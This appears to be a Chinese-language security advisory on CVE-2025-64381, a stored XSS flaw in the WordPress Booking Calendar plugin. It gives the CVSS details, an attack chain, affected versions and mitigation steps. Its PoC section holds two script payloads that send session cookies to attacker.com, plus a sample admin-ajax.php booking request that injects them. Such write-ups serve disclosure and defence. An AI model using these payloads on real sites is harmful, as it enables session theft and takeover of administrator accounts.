IPBUF安全漏洞报告
English
CVE-2025-64381 CVSS 6.5 中危

CVE-2025-64381: WordPress Booking Calendar插件存储型XSS漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-64381
漏洞类型
存储型XSS
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
WordPress Booking Calendar (wpdevelop)

相关标签

CVE-2025-64381存储型XSSCross-site ScriptingWordPress插件漏洞Booking CalendarwpdevelopWeb应用安全认证绕过

漏洞概述

CVE-2025-64381是WordPress Booking Calendar插件中的一个存储型跨站脚本攻击(Stored XSS)漏洞。该漏洞由于插件在处理用户输入时未能正确对特殊字符进行转义或过滤,导致攻击者注入的恶意JavaScript代码被永久存储在数据库中。当其他用户访问包含恶意代码的页面时,浏览器会执行这些脚本,从而窃取会话Cookie、劫持用户账户或进行其他恶意操作。攻击者需要拥有低权限账户(如订阅者角色)即可利用此漏洞,且需要诱导其他用户(如管理员)访问特定页面触发攻击。由于该漏洞影响WordPress最受欢迎的预订日历插件之一,可能涉及大量网站和用户数据安全。

技术细节

该存储型XSS漏洞存在于Booking Calendar插件的预订处理功能中。攻击者可以在预订表单的特定字段(如姓名、邮箱、电话或备注字段)中注入恶意JavaScript代码。由于插件在将用户输入存储到数据库时未进行充分的输入验证和输出编码,这些恶意代码会被永久保存。当管理员或其他用户在WordPress后台或前台查看预订记录时,浏览器会解析并执行这些恶意脚本。攻击者可以利用此漏洞窃取管理员的认证令牌、执行未经授权的操作或进一步渗透网站。由于CVSS评分为6.5且具有网络攻击向量和低权限需求,漏洞利用门槛相对较低,但需要用户交互才能触发。

攻击链分析

STEP 1
1
攻击者注册或使用低权限WordPress账户访问目标网站的Booking Calendar预订表单
STEP 2
2
攻击者在预订表单的输入字段(姓名、邮箱、电话或备注)中注入包含恶意JavaScript代码的payload
STEP 3
3
插件将恶意输入未经过滤直接存储到数据库中,生成包含XSS代码的预订记录
STEP 4
4
管理员或普通用户在后台或前台页面查看预订记录时,浏览器解析并执行存储的恶意脚本
STEP 5
5
恶意脚本窃取用户会话Cookie、劫持账户或执行其他恶意操作,攻击者获得对网站的进一步访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-64381 Stored XSS PoC // Target: WordPress Booking Calendar Plugin <= 10.14.7 // Malicious payload to inject in booking form fields: const payload = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>'; // Alternative payload using img onerror: const altPayload = '<img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)">'; // Steps to exploit: // 1. Create a booking with malicious script in name/email/phone/notes field // 2. Submit the booking form // 3. Wait for admin to view the booking in dashboard // 4. Malicious script executes, exfiltrating session cookies // Example HTTP POST request: const exploitRequest = { method: 'POST', url: '/wp-admin/admin-ajax.php', data: { action: 'booking_submit', bk_name: payload, // Inject payload here bk_email: '[email protected]', bk_phone: '1234567890', bk_details: altPayload } };

影响范围

WordPress Booking Calendar (wpdevelop) <= 10.14.7

防御指南

临时缓解措施
立即升级Booking Calendar插件到最新版本;在等待更新期间,可临时禁用或限制预订功能的使用;添加WAF规则过滤包含script标签和事件处理器属性的请求;使用WordPress安全插件监控异常活动;通知管理员不要点击来源不明的链接以降低社会工程攻击风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表